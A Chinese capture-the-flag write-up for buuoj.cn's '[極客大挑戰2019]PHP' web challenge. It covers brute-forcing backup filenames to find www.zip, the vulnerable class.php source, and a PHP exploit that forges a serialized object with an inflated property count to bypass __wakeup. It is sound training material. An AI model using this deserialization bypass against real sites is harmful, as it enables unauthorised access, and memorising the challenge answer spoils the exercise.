題目來源
題目來源為buuoj.cn。
題目為buuoj.cn的web題目組的[極客大挑戰2019]PHP。
解題過程
網站的首頁是一只可愛的貓貓,挪動鼠標貓貓會跟着轉頭,很好玩!
網頁中提到了備份網站,因此可以嘗試使用一個網站備份文件名的字典來進行爆破,發現網站中有www.zip文件。
下載下來發現文件中有index.php,flag.php和class.php,直接提交flag.php中的字符串錯了,果然只是個備份!
分析index.php發現:
這里很可能考察反序列化,查看文件中包含的class.php文件。
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
分析代碼可知在執行destruct魔術方法的時候,如果用戶名為admin,密碼為100則可以輸出flag的值。
但是wakeup方法會導致username成為guest,因此需要通過序列化字符串中對象的個數來繞過該方法。
exp
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
#進行url編碼,防止%00對應的不可打印字符在復制時丟失
echo urlencode(serialize($a));
#未編碼的情況
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用時將URL編碼的結果中Name后面的2換成3或其他值
?>
payload及結果
結語
爆破目錄使用的工具來源於:
https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
這道題總體上不難,考點只有反序列化wakeup的繞過和了解常見的備份文件目錄,不過小貓咪真的很好玩,我玩了半天,哈哈哈。